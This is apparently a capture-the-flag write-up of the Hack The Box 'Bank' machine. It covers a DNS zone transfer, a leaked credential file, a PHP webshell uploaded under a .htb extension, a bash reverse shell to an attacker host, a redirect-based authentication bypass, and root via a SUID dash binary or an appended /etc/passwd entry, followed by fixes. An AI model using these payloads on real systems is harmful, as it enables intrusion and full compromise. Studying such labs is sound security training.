- OS: Linux
- Domain / vhosts:
bank.htb
Summary
Bank is a clean Linux Easy built around three under-appreciated techniques
that each recur in the wild: DNS zone transfer leaks vhost names,
misconfigured Apache file-type mappings execute arbitrary code, and
a non-standard SUID binary trivially drops to root. The second privesc
path — a world-writable /etc/passwd — teaches the same lesson from a
different angle.
The kill-chain is: dig axfr on the open port 53 reveals bank.htb; the
vhost hosts a PHP banking app with a /balance-transfer/ directory of
~1000 encrypted account files; one file failed to encrypt and exposes
plaintext credentials; a developer debug comment in the upload form’s
source reveals that the .htb extension is mapped to PHP by Apache; a
.htb webshell upload lands a shell as www-data; and a find
-perm -4000 sweep exposes /var/htb/bin/emergency — a SUID root binary
placed off the standard path and easy to miss without a thorough search.
The alternate (unintended) foothold is a classic 302-without-exit
PHP anti-pattern: protected pages emit header("Location: ...") then
return; instead of exit;, so the full page body is present in the 302
response. Response manipulation in Burp renders the protected app without
any credentials.
Recon
nmap -sC -sV -p- --min-rate=2000 -oN nmap/full.txt <TARGET>
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8
53/tcp open domain ISC BIND 9.9.5-3ubuntu0.14
80/tcp open http Apache httpd 2.4.7 (Ubuntu)
Port 53 open on a web box is always the first hint to attempt a zone
transfer — DNS is almost never intentionally exposed on an HTB machine
without a reason. The Apache version on Ubuntu 14.04 is EOL and era-
appropriate for 2017. Port 80 serves only a default Apache page unless
the correct Host: header is sent.
DNS — zone transfer
dig axfr bank.htb @<TARGET>
; <<>> DiG 9.18.x <<>> axfr bank.htb @<TARGET>
;; ANSWER SECTION:
bank.htb. 604800 IN SOA bank.htb. ...
bank.htb. 604800 IN NS ns.bank.htb.
bank.htb. 604800 IN A <TARGET>
chris.bank.htb. 604800 IN CNAME bank.htb.
ns.bank.htb. 604800 IN A <TARGET>
www.bank.htb. 604800 IN CNAME bank.htb.
The zone transfer (AXFR) succeeds without authentication — the DNS server
allows full zone dumps to any querying host. Add bank.htb (and
optionally www.bank.htb) to /etc/hosts. Visiting http://bank.htb/
now shows the banking app login page instead of the default Apache welcome.
Web enumeration
Gobuster on the resolved vhost:
gobuster dir -u http://bank.htb/ \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x php -t 50
Key findings:
| Path | Status | Notes |
|---|---|---|
/login.php |
200 | Login form |
/support.php |
302 | Redirects to login |
/uploads/ |
301 | Upload destination |
/inc/ |
301 | Directory listing enabled |
/balance-transfer/ |
301 | Directory listing, ~999 .acc files |
The /balance-transfer/ listing is the immediate priority: it contains
approximately 999 encrypted account data files, all 581–585 bytes. One
file is conspicuously smaller at 257 bytes — sorting by file size in the
browser or via curl exposes it instantly:
curl -s http://bank.htb/balance-transfer/ \
| grep -oP '(?<=href=")[^"]+\.acc' \
| xargs -I{} bash -c \
'size=$(curl -sI http://bank.htb/balance-transfer/{} | grep -i content-length | awk "{print \$2}"); echo "$size {}"' \
| sort -n | head
The outlier file content:
--ERR ENCRYPT FAILED
+=================+
Username: [email protected]
Password: <REDACTED>
+=================+
The encryption step failed silently; the plaintext fell through. Log in at
http://bank.htb/login.php using the full email address ([email protected],
not just chris).
Foothold — .htb extension mapped to PHP (debug comment)
After login, /support.php presents a ticket system with a file-upload
field. Uploading cmd.php directly returns “invalid file type.” The
source of the page contains a developer comment:
<!-- [DEBUG] I added the file extension .htb to execute as php
for debugging purposes only [DEBUG] -->
Apache’s configuration for this vhost maps .htb to the PHP handler.
Upload a PHP webshell with a .htb extension:
POST /support.php HTTP/1.1
Host: bank.htb
Cookie: PHPSESSID=...
Content-Type: multipart/form-data; boundary=----X
------X
Content-Disposition: form-data; name="fileupload"; filename="cmd.htb"
Content-Type: image/png
<?php system($_GET['cmd']); ?>
------X--
The shell lands at /uploads/cmd.htb:
# confirm execution
curl "http://bank.htb/uploads/cmd.htb?cmd=id"
# → uid=33(www-data) gid=33(www-data) groups=33(www-data)
# upgrade to a reverse shell
curl "http://bank.htb/uploads/cmd.htb" \
--data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/<ATTACKER>/4444 0>&1"'
Alternate foothold — 302 without exit: Protected pages in the app
(/support.php, account pages) redirect unauthenticated requests with
header("Location: login.php"); return; — using return instead of
exit. The full page body is therefore included in the 302 response body.
In Burp Repeater, intercepting any 302 and changing the status line to
200 OK renders the protected page in full, bypassing authentication
entirely without needing the [email protected] credential.
User flag
The foothold lands as www-data. The user flag at /home/chris/user.txt
is world-readable; no lateral pivot is required.
Privilege escalation
Path A — non-standard SUID binary (intended):
A thorough SUID sweep:
find / -perm -4000 -type f 2>/dev/null
Returns the standard set plus one anomaly:
/var/htb/bin/emergency
This binary lives outside the conventional SUID locations (/usr/bin/,
/bin/) and is easy to miss on a cursory check. It is a hardlink to
/bin/dash with the SUID root bit set. Running it directly:
/var/htb/bin/emergency
# id → uid=0(root) gid=0(root) groups=0(root)
The SUID bit causes the kernel to execute the process with the file owner’s effective UID (root), so the spawned dash shell inherits root context.
Dash’s -c mode preserves the elevated euid, so the chain can run
straight from the webshell without needing a reverse shell:
curl "http://bank.htb/uploads/cmd.htb" \
--data-urlencode 'cmd=/var/htb/bin/emergency -c "id; cat /root/root.txt"' -G
uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)
<root flag>
Note euid=0 while uid=33: dash on -c does not drop privileges
(unlike bash without -p), so the SUID-promoted euid persists into
the command argument.
Path B — world-writable /etc/passwd:
ls -la /etc/passwd
# -rw-rw-rw- 1 root root 1526 Jun 2 2017 /etc/passwd
/etc/passwd has write permission for all users (world-writable, mode
0666). Append a new entry with a known password and UID 0:
openssl passwd -1 pwned
# output: $1$...<hash>...
echo 'r00t:$1$<hash>:0:0:root:/root:/bin/bash' >> /etc/passwd
su - r00t
# password: pwned
# uid=0(root)
The /etc/passwd file is consulted before /etc/shadow for users whose
password field is non-empty; a valid crypt hash in column 2 is honoured
on Ubuntu 14.04 (PAM pam_unix still supports this for compatibility).
Why each step worked
- DNS zone transfer (AXFR) with no access control: RFC 1034/1035
originally designed AXFR for secondary-nameserver synchronisation. On
many old or misconfigured authoritative servers, AXFR is permitted for
any client. Here it exposes the full zone including the
bank.htbvhost name, without which the web application is entirely hidden. - Encryption failure leaks plaintext credentials: the account data files use an ad hoc encryption scheme. A silent failure in the encryption routine allowed one record to be written in plaintext. No error was surfaced to the user and the file was stored alongside 999 encrypted peers — discoverable only by size anomaly.
- Developer debug mapping left in production: the Apache vhost
configuration maps the
.htbextension to PHP, presumably added to allow test scripts during development. The upload filter checks only that the extension is not.phpor.php5etc.;.htbpasses that check and executes as PHP. The hint is buried in the page’s HTML source comment. - SUID binary outside standard paths: the
/var/htb/bin/emergencybinary is a hardlink to/bin/dash. A hardlink preserves the SUID bit that was set on the copy.find / -perm -4000catches it, but manual inspection of/var/or/usr/local/alone would not. - World-writable
/etc/passwd: granting world-write on the passwd file is equivalent to granting root to any local user. PAM’spam_unixon Ubuntu 14.04 checks for a non-empty password field in/etc/passwdbefore consulting/etc/shadow, allowing a crafted entry to bypass shadow password protection entirely. - 302 without
exit: PHP’sheader()function queues an HTTP header but does not terminate script execution. Callingreturn;afterheader("Location: ...")terminates the current function but the script continues rendering. The fix isexit;(ordie();) immediately after everyheader("Location:")redirect.
Counterfactuals
- Restrict AXFR to authorised secondary nameservers: `allow-transfer {
; };` in BIND's named.conf. Anonymous AXFR should never be permitted on a public-facing server. - Validate encryption at write time and reject/alert on any failure; never write partially-processed sensitive data to publicly-accessible storage.
- Remove the
.htb-to-PHP mapping from production Apache configuration. Extension-to-handler mappings are infrastructure, not per-application toggles; they belong in a commented-out staging configuration, not in the production vhost. - Fix the 302 redirect anti-pattern: replace every
return;afterheader("Location: ...")withexit;. - Remove
/var/htb/bin/emergencyor at minimum clear its SUID bit:chmod u-s /var/htb/bin/emergency. SUID shells are almost never appropriate in production. - Restore
/etc/passwdpermissions to 0644 (root-owned, no world- write). Usechmod 644 /etc/passwd.
Key Takeaways
- Open port 53 on a web box almost always means zone transfer. Run
dig axfr <domain> @<TARGET>immediately; if the server allows it, you get the full vhost inventory without brute-forcing. - Large directories of similarly-named files are a size-anomaly hunting ground. Sort by size before reading any content; the outlier is almost always the lead.
- Extension-based upload filters are trivially bypassed by custom Apache/nginx mappings. Always check the page source for developer comments about file handling before assuming the filter is solid.
find / -perm -4000 -type f 2>/dev/nullshould be run immediately after foothold. Non-standard SUID paths (/var/,/opt/,/home/) are the ones box-makers plant; the standard ones (/usr/bin/sudo) are rarely the intended path.- PHP
header()does not stop execution. Every redirect must end withexit;ordie();. This class of bug allows Burp response manipulation to bypass authentication in many older PHP apps.
References
- 0xdf, “HTB: Bank” — https://0xdf.gitlab.io/2020/07/07/htb-bank.html
- IppSec, “Bank” — https://ippsec.rocks/?#Bank
- ISC BIND AXFR access-control documentation
- GTFOBins (SUID dash) — https://gtfobins.github.io/gtfobins/dash/#suid